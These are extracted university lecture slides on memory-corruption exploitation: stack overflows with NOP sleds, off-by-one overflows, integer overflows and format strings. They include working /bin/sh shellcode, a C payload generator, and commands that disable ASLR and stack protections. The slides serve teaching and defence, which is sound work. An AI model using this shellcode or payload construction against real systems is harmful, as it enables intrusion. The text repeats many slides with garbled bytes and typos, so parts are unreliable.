- How to increase the chance of guessing the correct address?
  - Make more correct addresses instead of just one valid target

**NOP Sled**
A sequence of no-operation instructions

**Shell Code**
Main assembly instructions to spawn a shell

**ret-addr**
Shell Code Development – NOP Sled

- In absence of **ASLR** and when binary, used libraries, and OS version all are the same on the adversary and target machine, the stack contents might move **slightly** in comparison to what is discovered by a debugger
  - Use `gdb` to find an initial guess
  - Test other guesses to find the exact address

- How to increase the chance of guessing the correct address?
  - Make more correct addresses instead of just one valid target

<table>
<thead>
<tr>
<th>NOP Sled</th>
<th>Shell Code</th>
<th>ret-addr</th>
</tr>
</thead>
<tbody>
<tr>
<td>A sequence of no-operation instructions</td>
<td>Main assembly instructions to spawn a shell</td>
<td></td>
</tr>
</tbody>
</table>

B. Momeni (Sharif Univ. of Tech.)  
CE441: Data and Network Security  
Fall 2019
Shell Code Development – Other Notes & Tools

- Shell code must not contain `NULL` to be copied by `strcpy`
- `gcc` → to compile programs to machine code
- `checksec` → to inspect enabled security protections
- `objdump` → to statically disassemble binaries
- `gdb` → to debug programs and find addresses
- `r2` → a full-stack reverse engineering environment
- `metasploit` → for shellcodes, encodings, and so on
Shell Code Development – Example

- A shellcode to run "/bin/sh" using
  
  ```c
  int execve(
      const char *path,
      char *const argv[],
      char *const envp[]);
  ```


- Radare2 listing the shellcode instructions →

  ```
  sub rsp, 0x30 ; added inst.
  xor eax, eax
  movabs rbx, 0xff978cd091969dd1
  neg rbx
  push rbx
  push rsp
  pop rdi
  cdq
  push rdx
  push rdi
  push rsp
  pop rsi
  mov al, 0x3b
  syscall
  ```
Shell Code Development – Example

- A shellcode to run "/bin/sh" using

  ```c
  int execve(
      const char *path,
      char *const argv[],
      char *const envp[]);
  ```


- Radare2 listing the shellcode instructions →

  ```
  sub rsp, 0x30 ; added inst.
  xor eax, eax
  movabs rbx, 0xff978cd091969dd1
  neg rbx
  push rbx
  push rsp
  pop rdi
  cdq
  push rdx
  push rdi
  push rsp
  pop rsi
  mov al, 0x3b
  syscall
  ```
A shellcode to run "/bin/sh" using

```c
int execve(
    const char *path,
    char *const argv[],
    char *const envp[]);
```

Ref: http://shell-storm.org/shellcode/files/shellcode-806.php

Radare2 listing the shellcode instructions →

```assembly
sub rsp, 0x30 ; added inst.
xor eax, eax
movabs rbx, 0xff978cd091969dd1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
```
Shell Code Development – Example

A shellcode to run "/bin/sh" using

```c
int execve(
    const char *path,
    char *const argv[],
    char *const envp[]);
```


Radare2 listing the shellcode instructions →

```c
sub rsp, 0x30 ; added inst.
xor eax, eax
movabs rbx, 0xff978cd091969dd1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
```
Shell Code Development – Example

- A shellcode to run "/bin/sh" using

```c
int execve(
    const char *path,
    char *const argv[],
    char *const envp[]);
```


- Radare2 listing the shellcode instructions →

```c
sub rsp, 0x30 ; added inst.
xor eax, eax
movabs rbx, 0xff978cd091969dd1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
```
Shell Code Development – Example

A shellcode to run "/bin/sh" using

```c
int execve(
    const char *path,
    char *const argv[],
    char *const envp[]);
```


Radare2 listing the shellcode instructions →

```assembly
sub rsp, 0x30 ; added inst.
xor eax, eax
movabs rbx, 0xff978cd091969dd1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
```
Shell Code Development – Example

- A shellcode to run "/bin/sh" using

  ```c
  int execve(
    const char *path,
    char *const argv[],
    char *const envp[]);
  ```


- Radare2 listing the shellcode instructions →

```
sub rsp, 0x30 ; added inst.
xor eax, eax
movabs rbx, 0xff978cd091969dd1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
```
Shell Code Development – Input Generator

```c
char code[] =
    "\x48\x83\xec\x30\x31\xc0\x48\xbb\xd1\x9d\x96\x91"
    "\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52"
    "\x57\x54\x5e\xdb0\x3b\x0f\x05";
int main(int argc, char *argv[]) {
    const int len = strlen(code);
    char buf[128];
    memset(buf, 0x90, 120 - len);
    memcpy(buf + 120 - len, code, len);
    void **ret = (void *) &buf[120];
    u_int64_t retaddr = strtoull(argv[1], 0, 16);
    (*ret) = (void *) retaddr;
    printf("%.128s", buf);
    return 0;
}
```

// gdb --args ./so.out $(./a.out 0xdeadbeef)
What Did Cause This SO Vulnerability?

- Programmer used `strcpy` function to fill a buffer
  - ...but did not check the input length beforehand
- To remind developer about this pre-condition
  - the `strncpy` function is introduced asking for the buffer size
    - `char *strncpy(char *dest, const char *src, size_t n);`
  - **Note:** If there is no **NULL** in the first `n` characters of the `src`, then the `dest` buffer will not be null-terminated
- Other example unsafe functions
  - `char *strcat(char *dest, const char *src);`
  - `char *gets(char *s);`
  - `int scanf(const char *format, ...);`
What Did Cause This SO Vulnerability?

- Programmer used `strcpy` function to fill a buffer
  - ...but did not check the input length beforehand
- To remind developer about this pre-condition
  - the `strncpy` function is introduced asking for the buffer size
    ```c
    char *strncpy(char *dest, const char *src, size_t n);
    ```
  - **Note:** If there is no `NULL` in the first `n` characters of the `src`, then the `dest` buffer will not be null-terminated
- Other example unsafe functions
  ```c
  char *strcat(char *dest, const char *src);
  char *fgets(char *s);
  int scanf(const char *format, ...);
  ```
What Did Cause This SO Vulnerability?

- Programmer used `strcpy` function to fill a buffer
  - ...but did not check the input length beforehand
- To remind developer about this pre-condition
  - the `strncpy` function is introduced asking for the buffer size
    - `char *strncpy(char *dest, const char *src, size_t n);`
  - **Note:** If there is no **NULL** in the first `n` characters of the `src`, then the `dest` buffer will not be null-terminated
- Other example unsafe functions
  - `char *strcat(char *dest, const char *src);`
  - `char *gets(char *s);`
  - `int scanf(const char *format, ...);`
Alternative Exploits for the SO Vulnerability

- Windows Structured Exception Handling (SEH)
  - Exception handler pointers are placed on the stack
    - Read details in [seh]

- Function Pointers
  - Objects in C++ have a vtable pointer
    - Each virtual function has an entry in the vtable
    - To invoke a virtual function, its function pointer is obtained by dereferencing the vtable at the corresponding index
  - Address of any function might be used in C to call it similarly
  - Overflow can occur both in the stack and the heap
Alternative Exploits for the SO Vulnerability

- **Windows Structured Exception Handling (SEH)**
  - Exception handler pointers are placed on the stack
    - Read details in [seh]

- **Function Pointers**
  - Objects in C++ have a vtable pointer
    - Each virtual function has an entry in the vtable
    - To invoke a virtual function, its function pointer is obtained by dereferencing the vtable at the corresponding index
  - Address of any function might be used in C to call it similarly
  - Overflow can occur both in the stack and the heap
Outline

1. Buffer Overflow Vulnerabilities
   - Memory Management and Function Calls
   - Stack Overflow Vulnerability
   - Off-by-one Overflow Vulnerability

2. Integer Overflow Vulnerability

3. Format String Vulnerability
Off-by-one Overflow Vulnerability

- So far, we observed stack and heap overflows with arbitrary lengths. But sometimes, it is only possible to overflow a single byte.

- Is it exploitable yet?

  - Let's check an example 32-bit program, in absence of security protections, prepared by `gcc` with following options:
    - `-m32` → to build a 32-bit binary
    - `-fno-stack-protector` → to disable Stack Canaries
    - `-z execstack` → to make stack executable
    - `-fno-pie` → not required, but by making program position dependent, the assembly becomes simpler for the class
    - `-mpreferred-stack-boundary=3` → asks compiler to align stack with $2^3 = 8$ bytes instead of the default $2^4 = 16$ bytes alignment

  - The ASLR is also turned off

        echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Off-by-one Overflow Vulnerability

- So far, we observed stack and heap overflows with arbitrary lengths. But sometimes, it is only possible to overflow a single byte.
- Is it exploitable yet?
- Let's check an example **32-bit** program, in absence of security protections, prepared by `gcc` with following options:
  - `-m32` → to build a 32-bit binary
  - `-fno-stack-protector` → to disable **Stack Canaries**
  - `-z execstack` → to make stack executable
  - `-fno-pie` → not required, but by making program position dependent, the assembly becomes simpler for the class
  - `-mpreferred-stack-boundary=3` → asks compiler to align stack with $2^3 = 8$ bytes instead of the default $2^4 = 16$ bytes alignment
- The **ASLR** is also turned off
  - `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`
Off-by-one Overflow Vulnerability – Sample Program

```c
void secure_copy(char *dst, int dstlen, char *src) {
    while (dstlen-- > 0 && (*src) != '\0')
        *dst++ = *src++;
    *dst = '\0';
}

void say_hello(char *input) {
    char buf[192];
    printf("buf addr: 0x%lx", buf);
    secure_copy(buf, sizeof(buf), input);
    printf("Hello %s\n", buf);
}

void vuln(char *input) {
    say_hello(input);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage:\n\t%s <name>\n", argv[0]);
        return -1;
    }
    vuln(argv[1]);
    return 0;
}
```

void vuln(char *input) {
    say_hello(input);
}

B. Momeni (Sharif Univ. of Tech.)
Off-by-one Overflow Vulnerability – Exploitation

```c
void vuln(char *input) {
    say_hello(input);
}
```

```
vuln:
pushl  %ebp
movl  %esp, %ebp
subl  $4, %esp
pushl  8(%ebp)
call  say_hello
.Lshello_ret:
addl  $8, %esp
nop
leave
ret
```
void vuln(char *input) {
    say_hello(input);
}

```c
vuln:
    pushl %ebp
    movl %esp, %ebp
    subl $4, %esp
    pushl 8(%ebp)
    call say_hello

.Lshello_ret:
    addl $8, %esp
    nop
    leave
    ret
```

4 bytes 192 bytes 4 bytes 4 bytes 4 bytes 4 bytes

`padding` | `buf` | `ebp of vuln 0x??????Z8` | `.Lshello_ret` | `input`

`ebp of main` | `vuln-ret`
Off-by-one Overflow Vulnerability – Exploitation

void vuln(char *input) {
    say_hello(input);
}

vuln:
    pushl %ebp
    movl %esp, %ebp
    subl $4, %esp
    pushl 8(%ebp)
    call say_hello

    .Lshello_ret:
    addl $8, %esp
    nop
    leave
    ret
Off-by-one Overflow Vulnerability – Exploitation

```c
void say_hello(char *input) {
    char buf[192];
    printf("buf addr: 0x%x", buf);
    secure_copy(buf, sizeof(buf), input);
    printf("Hello %s\n", buf);
}
```

```
say_hello:
    pushl %ebp
    movl %esp, %ebp
    subl $192, %esp
    ; printf buf addr...
    subl $4, %esp
    pushl 8(%ebp)
    pushl $192
    leal -192(%ebp), %eax
    pushl %eax
    call secure_copy

.Lscopy_ret:
    addl $16, %esp
    ; printf hello message...
    nop
    leave
    ret
```
void say_hello(char *input) {
    char buf[192];
    printf("buf addr: 0x%x", buf);
    secure_copy(buf, sizeof(buf), input);
    printf("Hello %s\n", buf);
}

say_hello:
    pushl %ebp
    movl %esp, %ebp
    subl $192, %esp
    ...
void say_hello(char *input) {
    char buf[192];
    printf("buf addr: 0x\%x", buf);
    secure_copy(buf, sizeof(buf), input);
    printf("Hello %s\n", buf);
}

say_hello:
    pushl %ebp
    movl %esp, %ebp
    subl $192, %esp
    ; printf buf addr ...
    subl $4, %esp
    pushl 8(%ebp)
    pushl $192
    leal -192(%ebp), %eax
    pushl %eax
    call secure_copy

.Lscopy_ret:
    addl $16, %esp
    ; printf hello message ...
    nop
    leave
    ret
### Off-by-one Overflow Vulnerability – Exploitation

```c
void say_hello(char *input) {
    char buf[192];
    printf("buf addr: 0x%x", buf);
    secure_copy(buf, sizeof(buf), input);
    printf("Hello %s\n", buf);
}
```

**Diagram:**
- `padding`: 4 bytes
- `ebp of main`: 4 bytes
- `vuln-ret`: 4 bytes
- `ebp`: 4 bytes
- `buf`: 192 bytes
- `ebp of vuln`: 4 bytes
- `0x??????Z8`: 4 bytes
- `.Lshello_ret`: 4 bytes
- `input`: 4 bytes
- `ebp of say_hello`: 4 bytes
- `.Lscopy_ret`: 4 bytes
- `pointer to buf`: 4 bytes
- `192`: 4 bytes
- `input`: 4 bytes

**Assembly Code:**
- `say_hello:
  pushl %ebp
  movl %esp, %ebp
  subl $192, %esp
  ; printf buf addr...
  subl $4, %esp
  pushl 8(%ebp)
  pushl $192
  leal -192(%ebp), %eax
  pushl %eax
  call secure_copy
  ; printf hello message...
  nop
  leave
  ret
```
Off-by-one Overflow Vulnerability – Exploitation

```c
void say_hello(char *input) {
    char buf[192];
    printf("buf addr: 0x%x", buf);
    secure_copy(buf, sizeof(buf), input);
    printf("Hello %s\n", buf);
}
```

```
say_hello:
pushl %ebp
movl %esp, %ebp
subl $192, %esp
; printf buf addr
...
subl $4, %esp
pushl $192
leal -192(%ebp), %eax
pushl %eax
call secure_copy
.Lscopy_ret:
addl $16, %esp
; printf hello message
...
nop
leave
ret
```
void say_hello(char *input) {
    char buf[192];
    printf("buf addr: 0x%x", buf);
    secure_copy(buf, sizeof(buf), input);
    printf("Hello %s\n", buf);
}

say_hello:
    pushl %ebp
    movl %esp, %ebp
    subl $192, %esp ; printf buf addr...
    subl $4, %esp
    pushl 8(%ebp)
    pushl $192
    leal -192(%ebp), %eax
    pushl %eax
    call secure_copy
    .Lscopy_ret:
    addl $16, %esp
    ; printf hello message...
    nop
    leave
    ret
**Off-by-one Overflow Vulnerability – Exploitation**

```c
void say_hello(char *input) {
    char buf[192];
    printf("buf addr: 0x%x", buf);
    secure_copy(buf, sizeof(buf), input);
    printf("Hello %s\n", buf);
}
```

**Code Diagram:**
- `padding`: 4 bytes
- `ebp of main`: 4 bytes
- `vuln-ret`: 4 bytes
- `buf`: 192 bytes
- `ebp of vuln`: 4 bytes
- `.Lshello_ret`: 4 bytes
- `input`: 4 bytes

**Assembly Code:**
```
say_hello:
    pushl %ebp
    movl %esp, %ebp
    subl $192, %esp
    printf(buf addr...
    subl $4, %esp
    pushl 8(%ebp)
    pushl $192
    leal -192(%ebp), %eax
    pushl %eax
    call secure_copy
.Lscopy_ret:
    addl $16, %esp
    printf hello message...
    nop
    leave
    ret
```
void secure_copy(char *dst, int dstlen, char *src) {
    while (dstlen-- > 0 && (*src) != '\0')
        *dst++ = *src++;
    *dst = '\0';
}

secure_copy:
    pushl %ebp
    movl %esp, %ebp
    jmp .L2
.L4:
    ; {*{8(%ebp)}++ =
    ; {*{16(%ebp)}++
    ...
.L2:
    ; if {12(%ebp)}-- <= 0,
    ; then jmp .L3
    ; if {*{16(%ebp)} != 0,
    ; then jmp .L4
    ...
.L3:
    movl 8(%ebp), %eax
    movb $0, (%eax)
    nop
    popl %ebp
    ret
Off-by-one Overflow Vulnerability – Exploitation

```c
void secure_copy(char *dst, int dstlen, char *src) {
    while (dstlen-- > 0 && (*src) != '\0')
        *dst++ = *src++;
    *dst = '\0';
}
```

secure_copy:

```
    pushl %ebp
    movl %esp, %ebp
    jmp .L2

.L4:
    ; *{8(%ebp)}++ = *{16(%ebp)}++
    ...

.L2:
    ; if {12(%ebp)}-- <= 0, then jmp .L3
    ; if *{16(%ebp)} != 0,
    then jmp .L4
    ...

.L3:
    movl 8(%ebp), %eax
    movb $0, (%eax)
    nop
    popl %ebp
    ret
```
**Off-by-one Overflow Vulnerability – Exploitation**

```c
void secure_copy(char *dst, int dstlen, char *src) {
    while (dstlen-- > 0 && (*src) != '\0')
        *dst++ = *src++;
    *dst = '\0';
}
```

```
secure_copy:
pushl %ebp
movl %esp, %ebp
jmp .L2
.L4:
    ; *{8(%ebp)}++ =
    ; *{16(%ebp)}++
    ...
.L2:
    ; if {12(%ebp)}-- <= 0,
    ; then jmp .L3
    ; if *{16(%ebp)} != 0,
    ; then jmp .L4
    ...
.L3:
    movl 8(%ebp), %eax
    movb $0, (%eax)
    nop
    popl %ebp
    ret
```
void secure_copy(char *dst, int dstlen, char *src) {
    while (dstlen-- > 0 && (*src) != '\0')
        *dst++ = *src++;
    *dst = '\0';
}

secure_copy:
    pushl %ebp
    movl %esp, %ebp
    jmp .L2
.L4:
    ; *{8(%ebp)}++ =
    ; *{16(%ebp)}++
    ...
.L2:
    ; if {12(%ebp)}-- <= 0,
    ; then jmp .L3
    ; if *{16(%ebp)} != 0,
    ; then jmp .L4
    ...
.L3:
    movl 8(%ebp), %eax
    movb $0, (%eax)
    nop
    popl %ebp
    ret
Off-by-one Overflow Vulnerability – Exploitation

void secure_copy(char *dst, int dstlen, char *src) {
    while (dstlen-- > 0 && (*src) != '\0')
        *dst++ = *src++;
    *dst = '\0';
}

secure_copy:
    pushl %ebp
    movl %esp, %ebp
    jmp .L2
.L4:
    ; *{8(%ebp)}++ = *
    ; *{16(%ebp)}++
    ...
.L2:
    ; if {12(%ebp)}-- <= 0,
    ; then jmp .L3
    ; if *{16(%ebp)} != 0,
    ; then jmp .L4
    ...
.L3:
    movl 8(%ebp), %eax
    movb $0, (%eax)
    nop
    popl %ebp
    ret
Off-by-one Overflow Vulnerability – Exploitation

```c
void secure_copy(char *dst, int dstlen, char *src) {
    while (dstlen-- > 0 && (*src) != '\0')
        *dst++ = *src++;
    *dst = '\0';
}
```

```
secure_copy:
    pushl %ebp
    movl %esp, %ebp
    jmp .L2
.L4:
    ; *{8(%ebp)}++ =
    ; *{16(%ebp)}++
    ...
.L2:
    ; if {12(%ebp)}-- <= 0,
    ; then jmp .L3
    ; if *{16(%ebp)} != 0,
    ; then jmp .L4
    ...
.L3:
    movl 8(%ebp), %eax
    movb $0, (%eax)
    nop
    popl %ebp
    ret
```
### Off-by-one Overflow Vulnerability – Exploitation

```c
void say_hello(char *input) {
    char buf[192];
    printf("buf addr: 0x%x", buf);
    secure_copy(buf, sizeof(buf), input);
    printf("Hello %s\n", buf);
}
```

**Diagram:**
- `say_hello:`
  - `pushl %ebp`
  - `movl %esp, %ebp`
  - `subl $192, %esp`
  - `printf buf addr` ...
  - `subl $4, %esp`
  - `pushl 8(%ebp)`
  - `pushl $192`
  - `leal -192(%ebp), %eax`
  - `pushl %eax`
  - `call secure_copy`

- `.Lscopy_ret:`
  - `addl $16, %esp`
  - `printf hello message` ...
  - `nop`
  - `leave`
  - `ret`
Off-by-one Overflow Vulnerability – Exploitation

```c
void say_hello(char *input) {
    char buf[192];
    printf("buf addr: 0x%x", buf);
    secure_copy(buf, sizeof(buf), input);
    printf("Hello %s\n", buf);
}
```

```assembly
say_hello:
    pushl %ebp
    movl %esp, %ebp
    subl $192, %esp
    ...;
    printf buf addr
    subl $4, %esp
    pushl 8(%ebp)
    pushl $192
    leal -192(%ebp), %eax
    pushl %eax
    call secure_copy
.Lscopy_ret:
    addl $16, %esp;
    printf hello message
    ...;
    nop
    leave
    ret
```
void say_hello(char *input) {
    char buf[192];
    printf("buf addr: 0x%x", buf);
    secure_copy(buf, sizeof(buf), input);
    printf("Hello %s\n", buf);
}

say_hello:
    pushl %ebp
    movl %esp, %ebp
    subl $192, %esp
    ; printf buf addr...
    subl $4, %esp
    pushl 8(%ebp)
    pushl $192
    leal -192(%ebp), %eax
    pushl %eax
    call secure_copy

.Lscpy_ret:
    addl $16, %esp
    ; printf hello message...
    nop
    leave
    ret
void vuln(char *input) {
    say_hello(input);
}

void vuln(char *input) {
    say_hello(input);
}

vuln:
    pushl %ebp
    movl %esp, %ebp
    subl $4, %esp
    pushl 8(%ebp)
    call say_hello

.Lshello_ret:
    addl $8, %esp
    nop
    leave
    ret
void vuln(char *input) {
    say_hello(input);
}

vuln:
pushl %ebp
movl %esp, %ebp
subl $4, %esp
pushl 8(%ebp)
call say_hello
.Lshello_ret:
addl $8, %esp
nop
leave
ret
Off-by-one Overflow Vulnerability – Notes

- The `buf` should finish with a series of `new-ebp` and `new-ret` values.
- The pair which is located at `0x???????00` address will be used to load `ebp` and `eip` which must point to the shell code.
- The `buf` can start by a NOP Sled like previous example to make its guessing easier.
  - In this example, the address of `buf` is printed and needs no guessing.
- What if the overwritten `ebp` did not point into the `buf`?
  - A longer input will shift stack contents more.
Off-by-one Overflow Vulnerability – Notes

- The `buf` should finish with a series of `new-ebp` and `new-ret` values.
- The pair which is located at `0x??????00` address will be used to load `ebp` and `eip` which must point to the shell code.
- The `buf` can start by a NOP Sled like previous example to make its guessing easier.
  - In this example, the address of `buf` is printed and needs no guessing.
- What if the overwritten `ebp` did not point into the `buf`?
  - A longer input will shift stack contents more.

```
| NOP Sled | Shell Code | ebp | ret | ... | ebp | ret |
```

B. Momeni (Sharif Univ. of Tech.)
CE441: Data and Network Security
Fall 2019
Example 32-bit Shell Code

A shellcode to run "/bin/sh"

```c
int execve(
    const char *path,
    char *const argv[],
    char *const envp[]);
```

Ref: http://shell-storm.org/shellcode/files/shellcode-827.php

Radare2 listing the shellcode instructions →

```
xor eax, eax
push rax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push rax
push rbx
mov ecx, esp
xor edx, edx ; added inst.
mov al, 0xb
int 0x80
```
Example **32-bit Shell Code**

- A shellcode to run "/bin/sh" using:
  ```c
  int execve(
      const char *path,
      char *const argv[],
      char *const envp[]);
  ```


- Radare2 listing the shellcode instructions →
  ```
  xor eax, eax
  push rax
  push 0x68732f2f
  push 0x6e69622f
  mov ebx, esp
  push rax
  push rbx
  mov ecx, esp
  xor edx, edx ; added inst.
  mov al, 0xb
  int 0x80
  ```
Example 32-bit Shell Code

- A shellcode to run "/bin/sh" using

```c
int execve(
    const char *path,
    char *const argv[],
    char *const envp[]);
```


- Radare2 listing the shellcode instructions →

```c
xor eax, eax
push rax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push rax
push rbx
mov ecx, esp
xor edx, edx ; added inst.
mov al, 0xb
int 0x80
```
Example 32-bit Shell Code

A shellcode to run "/bin/sh"
using

```c
int execve(
    const char *path,
    char *const argv[],
    char *const envp[]);
```

Ref: http://shell-storm.org/shellcode/files/shellcode-827.php

Radare2 listing the shellcode instructions →

```c
xor eax, eax
push rax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push rax
push rbx
mov ecx, esp
xor edx, edx ; added inst.
mov al, 0xb
int 0x80
```
Example 32-bit Shell Code

A shellcode to run "/bin/sh"
using

```c
int execve(
    const char *path,
    char *const argv[],
    char *const envp[]);
```

Ref: http://shell-storm.org/
shellcode/files/shellcode-827.php

Radare2 listing the shellcode
instructions →

```c
xor eax, eax
push rax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push rax
push rbx
mov ecx, esp
xor edx, edx ; added inst.
mov al, 0xb
int 0x80
```
Outline

1. Buffer Overflow Vulnerabilities
2. Integer Overflow Vulnerability
   - Casting Errors
   - Arithmetic Operations
3. Format String Vulnerability
The INTEGER class
  * signed and unsigned long long, long, int, short, char, and bool

When a value with $2^n$ bits is *casted* to a value with $2^{n-1}$ bits, its lower-half is preserved and its higher-half is truncated
  * *e.g.* `int a = 0x0102030405060708; // a == 0x05060708`
Integer Overflows

Problem: what happens when int exceeds max value?

```
int m;       (32 bits)    short s;     (16 bits)     char c;      (8 bits)
c = 0x80 + 0x80 = 128 + 128  ⇒  c = 0
s = 0xff80 + 0x80  ⇒  s = 0
m = 0xffffffff80 + 0x80  ⇒  m = 0
```

Can this be exploited?

Dan Boneh

Borrowed from [40442-971:02-ctrl-hijacking.pdf], page 44
**Integer Overflow Example – Small-Width Variable Type**

```c
short getMonthlySales(int month) {...}
float calculateRevenueForQuarter(short quarterSold) {...}

int determineFirstQuarterRevenue() {
    short JanSold = getMonthlySales(1); /* Sales in January */
    short FebSold = getMonthlySales(2); /* Sales in February */
    short MarSold = getMonthlySales(3); /* Sales in March */
    // Calculate quarterly total (the summation type is int)
    // It may overflow after the implicit cast
    short quarterSold = JanSold + FebSold + MarSold;
    float quarterRevenue =
        calculateRevenueForQuarter(quarterSold);
    return saveFirstQuarterRevenue(quarterRevenue);
}
```

Ref: [https://cwe.mitre.org/data/definitions/190.html](https://cwe.mitre.org/data/definitions/190.html)
Outline

1. Buffer Overflow Vulnerabilities

2. Integer Overflow Vulnerability
   - Casting Errors
   - Arithmetic Operations

3. Format String Vulnerability
During a computation, variables are promoted to `int` type to avoid overflows during the computation and allow programmer to apply the appropriate cast on the final value.

- ...but there is no guarantee

- *e.g.* `int64_t s = 0x100 * 0x100 * 0x100 * 0x100; // s == 0`
img_t table_ptr; /* struct containing img data, 10kB each */
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...

Ref: https://cwe.mitre.org/data/definitions/190.html
An example

void func( char *buf1, *buf2, unsigned int len1, len2) {
    char temp[256];
    if (len1 + len2 > 256) {return -1}  // length check
    memcpy(temp, buf1, len1);          // cat buffers
    memcpy(temp+len1, buf2, len2);
    do-something(temp);                // do stuff
}

What if len1 = 0x80, len2 = 0xffffffff80 ?
⇒ len1+len2 = 0

Second memcpy() will overflow heap !!
Outline

1. Buffer Overflow Vulnerabilities
2. Integer Overflow Vulnerability
3. Format String Vulnerability
   - The `printf` Format String
   - Exploitation Technique
The printf Format String

- Before introduction of cout/cin in the C++ language
- The printf/scanf were the common input/output method in the C
- Variable number of arguments
  - int printf (const char *format, ...);
  -Parsed according to the format string
  - printf("Received %d orders for %s\n", count, label);
  - Read details in [cppref:printf]
Format String Conversion Specifications (1/3)

- Each conversion specification start by % character
- Optionally, some flags follow
  - The 0 means to use the 0 character for padding (instead of space) when it is required to pad
- Optionally, the minimum field width is provided
  - Which may cause padding with space or 0
  - The * character can be used which orders printf to read the minimum field width value from yet another argument
    - printf("The %0*d has %d characters\n", 5, 3, 5);
    - The 00003 has 5 characters
- Optionally, a . (dot) character follows and then the conversion precision (or * to read it from another argument)
  - printf("Value is %07.3f\n", 1.1234567);
  - Value is 001.123
Format String Conversion Specifications (1/3)

- Each conversion specification start by `%` character
- Optionally, some flags follow
  - The `0` means to use the `0` character for padding (instead of space) when it is required to pad
- Optionally, the minimum field width is provided
  - Which may cause padding with space or `0`
  - The `*` character can be used which orders `printf` to read the minimum field width value from yet another argument
    - `printf("The %0*d has %d characters\n", 5, 3, 5);
    - The 00003 has 5 characters
- Optionally, a `. (dot)` character follows and then the conversion precision (or `*` to read it from another argument)
  - `printf("Value is %07.3f\n", 1.1234567);
  - Value is 001.123
Format String Conversion Specifications (1/3)

- Each conversion specification start by % character
- Optionally, some flags follow
  - The 0 means to use the 0 character for padding (instead of space) when it is required to pad
- Optionally, the minimum field width is provided
  - Which may cause padding with space or 0
  - The * character can be used which orders printf to read the minimum field width value from yet another argument
    - printf("The %0*d has %d characters\n", 5, 3, 5);
    - The 00003 has 5 characters
- Optionally, a . (dot) character follows and then the conversion precision (or * to read it from another argument)
  - printf("Value is %07.3f\n", 1.1234567);
  - Value is 001.123
Format String Conversion Specifications (2/3)

- Optionally, **length modifier** follows which changes the size of the field’s type
- Finally, the format specifier itself follows to indicate the field’s type

<table>
<thead>
<tr>
<th>length</th>
<th>d</th>
<th>i</th>
<th>u</th>
<th>o</th>
<th>x</th>
<th>X</th>
<th>f</th>
<th>F</th>
<th>e</th>
<th>E</th>
<th>g</th>
<th>G</th>
<th>a</th>
<th>A</th>
<th>c</th>
<th>s</th>
<th>p</th>
<th>n</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>(none)</strong></td>
<td>int</td>
<td>unsigned int</td>
<td>double</td>
<td>int</td>
<td>char*</td>
<td>void<em>int</em></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>hh</td>
<td>signed char</td>
<td>unsigned char</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>h</td>
<td>short int</td>
<td>unsigned short int</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>l</td>
<td>long int</td>
<td>unsigned long int</td>
<td></td>
<td>wint_t</td>
<td>wchar_t*</td>
<td>long int*</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ll</td>
<td>long long int</td>
<td>unsigned long long int</td>
<td></td>
<td></td>
<td>long long int*</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>j</td>
<td>intmax_t</td>
<td>uintmax_t</td>
<td></td>
<td></td>
<td>intmax_t*</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>z</td>
<td>size_t</td>
<td>size_t</td>
<td></td>
<td></td>
<td>size_t*</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>t</td>
<td>ptrdiff_t</td>
<td>ptrdiff_t</td>
<td></td>
<td></td>
<td>ptrdiff_t*</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>L</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>long double</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

The length modifier affects input/variable itself

The format specifier affects output/how-to-build-an-string

Important conversion format specifiers are
  - d → prints a decimal
  - x → prints a hexadecimal
  - c → prints a character
  - s → dereferences a pointer to print a C-string
  - n → stores number of printed characters
  - p → prints a pointer

And it is possible to reorder or reuse the arguments dynamically

```c
printf("Two is %2$d or Three is %1$d\n", 2, 3);
Two is 3 or Three is 2
```
